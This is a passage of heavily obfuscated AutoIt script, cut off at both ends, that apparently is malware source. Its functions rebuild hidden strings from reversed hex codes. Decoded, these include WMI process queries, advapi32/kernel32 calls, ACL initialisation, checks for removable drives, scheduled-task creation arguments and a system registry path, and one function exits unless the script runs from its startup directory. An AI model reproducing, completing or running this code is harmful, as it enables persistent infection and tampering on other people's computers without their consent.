EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("05x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("05x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("D3x0" ) ) ] LOCAL $FZBXHVCRWD FOR $YLLQMLYINAF_UPE = 0 TO 44 $FZBXHVCRWD &= CHRW ($VZRXZHIPHCEMSJOJZRXU [$YLLQMLYINAF_UPE ] ) NEXT RETURN $FZBXHVCRWD ENDFUNC FUNC KPFSZQMROGWPW ($SOCCURRENCENAME , $ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLFLAG = 0 ) LOCAL CONST $UKQANYCOGMZYIHNLIRFZLTK = 183 LOCAL CONST $AXJYDOLCYTJOVOZZBTWOAGZCEBPKGTTBA = 1 LOCAL $_QODLSAWAOYZQUTHYSWVKUYGT = 0 IF $TQD_ZNEDEMPVGVDITWTAFXGXGVHIZBTFP ($ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLFLAG , 2 ) THEN LOCAL $ZBXEAHNPOIKXIENDGK = $RKMNCSX_MNRYWTFFTLGKESHNKKHPGGTBAKZIRQTC (AQINRPXUZXJYRNIYZRAR () ) LOCAL $ZZYQLZOQCMKQHKIGEJWNGIEGLNGN_ = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (XFWBZQYPVFERDOEZZOYS () , AEW_UJKIISQ_IWNHHKQK () , BNRSKAFIWBXNONWGSNGW () , AUORVCOVUWXGIXMMYJZK () , $ZBXEAHNPOIKXIENDGK , ZMZGYFWEODOPQUVMBHNM () , $AXJYDOLCYTJOVOZZBTWOAGZCEBPKGTTBA ) IF $ZZYQLZOQCMKQHKIGEJWNGIEGLNGN_ [0 ] THEN $ZZYQLZOQCMKQHKIGEJWNGIEGLNGN_ = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (XFWBZQYPVFERDOEZZOYS () , AEW_UJKIISQ_IWNHHKQK () , JBRCRVEVFJORPCIQYAWH () , AUORVCOVUWXGIXMMYJZK () , $ZBXEAHNPOIKXIENDGK , AEW_UJKIISQ_IWNHHKQK () , 1 , GOVTFKISTWCTYT_NBGYD () , 0 , AEW_UJKIISQ_IWNHHKQK () , 0 ) IF $ZZYQLZOQCMKQHKIGEJWNGIEGLNGN_ [0 ] THEN $_QODLSAWAOYZQUTHYSWVKUYGT = $RKMNCSX_MNRYWTFFTLGKESHNKKHPGGTBAKZIRQTC ("" ) $ZHFUPPNRMLHMQOCZEQJGYEFCFIHSMRTKOONH_VFWZILBDL ($_QODLSAWAOYZQUTHYSWVKUYGT , 1 , $WMHVUBQMXT_RDTLUTXBRNBXSHCQFFLCMPEPVLN_XMKXOLPRZLVX ($_QODLSAWAOYZQUTHYSWVKUYGT ) ) $ZHFUPPNRMLHMQOCZEQJGYEFCFIHSMRTKOONH_VFWZILBDL ($_QODLSAWAOYZQUTHYSWVKUYGT , 2 , $JRIZIMF_ESNBSATKWFCOXIBVCPMNXLHSHUZCXUILHUSWQRMAY ($ZBXEAHNPOIKXIENDGK ) ) $ZHFUPPNRMLHMQOCZEQJGYEFCFIHSMRTKOONH_VFWZILBDL ($_QODLSAWAOYZQUTHYSWVKUYGT , 3 , 0 ) ENDIF ENDIF ENDIF LOCAL $PMEQLWSHVXC_G_QETOGHIHCNRO = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , QRLUZMXKHOATXPTLSHCV () , GHYLVQNLEBLRXMDIGNVE () , AUORVCOVUWXGIXMMYJZK () , $_QODLSAWAOYZQUTHYSWVKUYGT , AEW_UJKIISQ_IWNHHKQK () , 1 , OHMWWBPLLEJBMWDXHWFE () , $SOCCURRENCENAME ) LOCAL $ANDOFXJZRCGIZVCLXACKOEATNPHYHJRZWFRUSIWCYAZC = $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , ZMZGYFWEODOPQUVMBHNM () , YAHKOLANWUPGBRJTDCHB () ) IF $ANDOFXJZRCGIZVCLXACKOEATNPHYHJRZWFRUSIWCYAZC [0 ] = $UKQANYCOGMZYIHNLIRFZLTK THEN IF $TQD_ZNEDEMPVGVDITWTAFXGXGVHIZBTFP ($ZCPZZXVAOQWNGHUPMIJYSKVCOFVLJECT_EVWWCNHDMLMLFLAG , 1 ) THEN $KGFMJBMSCLPZEEDOLNFUMTHDOKBOZLTMWJJXBKLSWPKXIWFBQQUJ (TRSIDVVNDABFVQJCHIUG () , AEW_UJKIISQ_IWNHHKQK () , O_HOXGABXLMWDFLPUZMQ () , QRLUZMXKHOATXPTLSHCV () , $PMEQLWSHVXC_G_QETOGHIHCNRO [0 ] ) RETURN $QMXMLMM_D__IIECMCUUQOSNQYWPTSAJJZWMEQUCHIDFQ ($ANDOFXJZRCGIZVCLXACKOEATNPHYHJRZWFRUSIWCYAZC [0 ] , $ANDOFXJZRCGIZVCLXACKOEATNPHYHJRZWFRUSIWCYAZC [0 ] , 0 ) ELSE EXIT + 4294967295 ENDIF ENDIF RETURN $PMEQLWSHVXC_G_QETOGHIHCNRO [0 ] ENDFUNC FUNC UXDEDMSQWSNFNQNCUTJC () LOCAL $TYDVYSWQQFYTFLCJGNIF [12 ] = [EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $WTIGLPBAQU FOR $FARLUMUEAULJBQJ = 0 TO 11 $WTIGLPBAQU &= CHRW ($TYDVYSWQQFYTFLCJGNIF [$FARLUMUEAULJBQJ ] ) NEXT RETURN $WTIGLPBAQU ENDFUNC FUNC ZZBHDYDXCRIAFWPMJTVV () LOCAL $FMYNECYSQMOPUHMCFDEZ [62 ] = [EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) ] LOCAL $NBOCBALGQD FOR $GYXWPIJCWFCFNFZ = 0 TO 61 $NBOCBALGQD &= CHRW ($FMYNECYSQMOPUHMCFDEZ [$GYXWPIJCWFCFNFZ ] ) NEXT RETURN $NBOCBALGQD ENDFUNC FUNC QZOQUARUDGKHRJQMFKRE () LOCAL $XIQOUFYTODYEBHFTJBQY [9 ] = [EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("65x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) ] LOCAL $HI_WPCXF_J FOR $DFHSOSXB_IUJZFJ = 0 TO 8 $HI_WPCXF_J &= CHRW ($XIQOUFYTODYEBHFTJBQY [$DFHSOSXB_IUJZFJ ] ) NEXT RETURN $HI_WPCXF_J ENDFUNC FUNC EJRGSCKMHYAQJDDMFUPP () LOCAL $FGKWH_EQNJKEMPGKXSHR [13 ] = [EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("A7x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $YZUZSYTZXN FOR $WUWLYMYUIXUUWJN = 0 TO 12 $YZUZSYTZXN &= CHRW ($FGKWH_EQNJKEMPGKXSHR [$WUWLYMYUIXUUWJN ] ) NEXT RETURN $YZUZSYTZXN ENDFUNC FUNC ZOCJBNWWQVTVVLOQIEVA () LOCAL $WXCNAMILWIWVHOOKAXOJ [4 ] = [EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) ] LOCAL $BLPIOEK_IZ FOR $KNLINUSSMKJNVAI = 0 TO 3 $BLPIOEK_IZ &= CHRW ($WXCNAMILWIWVHOOKAXOJ [$KNLINUSSMKJNVAI ] ) NEXT RETURN $BLPIOEK_IZ ENDFUNC FUNC B_AYAJJMYCTZCERZUQUP () LOCAL $SMVVAPLAJGAIBCRPMIBH [12 ] = [EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) ] LOCAL $PEFXMYJCRC FOR $HFUACCAGQVFKQZR = 0 TO 11 $PEFXMYJCRC &= CHRW ($SMVVAPLAJGAIBCRPMIBH [$HFUACCAGQVFKQZR ] ) NEXT RETURN $PEFXMYJCRC ENDFUNC FUNC BZGIHCHAFWTYGDWVOAYK () LOCAL $HRHUIBQTCCAGUIMJCXYH [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $JRL_FMOXDV FOR $OAWVMDBQKOKZFEO = 0 TO 4 $JRL_FMOXDV &= CHRW ($HRHUIBQTCCAGUIMJCXYH [$OAWVMDBQKOKZFEO ] ) NEXT RETURN $JRL_FMOXDV ENDFUNC FUNC TGYKMHFPWPHPBYVUVWLJ () LOCAL $ICPIZBQADZVSHTWCLSJY [62 ] = [EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) ] LOCAL $RRPLKQFLYU FOR $XRRQRX_RHHEQUGV = 0 TO 61 $RRPLKQFLYU &= CHRW ($ICPIZBQADZVSHTWCLSJY [$XRRQRX_RHHEQUGV ] ) NEXT RETURN $RRPLKQFLYU ENDFUNC FUNC LX_OBMMOMHMSVTYPEKOB () LOCAL $QSDLBLHLPJYCDYRGATOI [5 ] = [EXECUTE (STRINGREVERSE ("02x0" ) ) , EXECUTE (STRINGREVERSE ("F2x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("02x0" ) ) ] LOCAL $TUOMQFBZCJ FOR $TWDREYJMZXTZNQM = 0 TO 4 $TUOMQFBZCJ &= CHRW ($QSDLBLHLPJYCDYRGATOI [$TWDREYJMZXTZNQM ] ) NEXT RETURN $TUOMQFBZCJ ENDFUNC FUNC PFGAFTMXBESAV_TSMYMG () LOCAL $U_PMRUKDPTZEIGYZDPRG [12 ] = [EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $PQUKLIJIJF FOR $VMUOJXXHCVBDHOC = 0 TO 11 $PQUKLIJIJF &= CHRW ($U_PMRUKDPTZEIGYZDPRG [$VMUOJXXHCVBDHOC ] ) NEXT RETURN $PQUKLIJIJF ENDFUNC FUNC JIRZHQNTHIDWCZHKBRRINVRFNH () IF @SCRIPTDIR <> $STARTUPDIR THEN EXIT ENDIF ENDFUNC FUNC SYZRQHEJJHQEUP_HXJQJ () LOCAL $EZSOXKHPASCRUVZLYMLB [15 ] = [EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) ] LOCAL $SFKUFAPJRE FOR $QONOIL_MQH_SUWS = 0 TO 14 $SFKUFAPJRE &= CHRW ($EZSOXKHPASCRUVZLYMLB [$QONOIL_MQH_SUWS ] ) NEXT RETURN $SFKUFAPJRE ENDFUNC FUNC USOKODWCMAZVEJGDBCYT () LOCAL $WQGCZKVYBCYOKQYWYXZQ [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $EMMMEIZBKC FOR $AYXEHROJSNV_QFH = 0 TO 0 $EMMMEIZBKC &= CHRW ($WQGCZKVYBCYOKQYWYXZQ [$AYXEHROJSNV_QFH ] ) NEXT RETURN $EMMMEIZBKC ENDFUNC FUNC QSVTHFSFPBUDXVRRSVLB () LOCAL $BEZBVQJQRQX_KJKDOWSZ [1 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) ] LOCAL $MTTYRXCOZE FOR $ACJUSOMHNTXAJEH = 0 TO 0 $MTTYRXCOZE &= CHRW ($BEZBVQJQRQX_KJKDOWSZ [$ACJUSOMHNTXAJEH ] ) NEXT RETURN $MTTYRXCOZE ENDFUNC FUNC UUORKMINHCTTLXTXRJBU () LOCAL $KVIGZLTAYIYYSRFREKFK [46 ] = [EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("B4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("95x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("84x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("05x0" ) ) , EXECUTE (STRINGREVERSE ("45x0" ) ) , EXECUTE (STRINGREVERSE ("94x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) ] LOCAL $ZLHSZTHQZE FOR $TTQMLRILBPDRGUL = 0 TO 45 $ZLHSZTHQZE &= CHRW ($KVIGZLTAYIYYSRFREKFK [$TTQMLRILBPDRGUL ] ) NEXT RETURN $ZLHSZTHQZE ENDFUNC FUNC LTZEITDYNGONXUZRPLLR () LOCAL $XQGQOKUNSEIQWQVP_KWB [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $VNIQYZQGJY FOR $CDMUDLVYEH_GSJI = 0 TO 2 $VNIQYZQGJY &= CHRW ($XQGQOKUNSEIQWQVP_KWB [$CDMUDLVYEH_GSJI ] ) NEXT RETURN $VNIQYZQGJY ENDFUNC FUNC DDNJFXCLUAFLGMONOCMK () LOCAL $VVGFLKZJCTYMUOELRTPJ [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $IXIYUYSJAC FOR $JUPLPCISBINSYL_ = 0 TO 4 $IXIYUYSJAC &= CHRW ($VVGFLKZJCTYMUOELRTPJ [$JUPLPCISBINSYL_ ] ) NEXT RETURN $IXIYUYSJAC ENDFUNC FUNC LGXPOFEEKXOGKUEHQHUS () LOCAL $ADKITZQHGMACYKFQGNMW [4 ] = [EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $IWPWPQXZYX FOR $TDKPTHHHRES_VEV = 0 TO 3 $IWPWPQXZYX &= CHRW ($ADKITZQHGMACYKFQGNMW [$TDKPTHHHRES_VEV ] ) NEXT RETURN $IWPWPQXZYX ENDFUNC FUNC DNZNCHQV_HUEWMWFNKJY () LOCAL $LSTQZBWAAZAESMYFUFHM [62 ] = [EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE 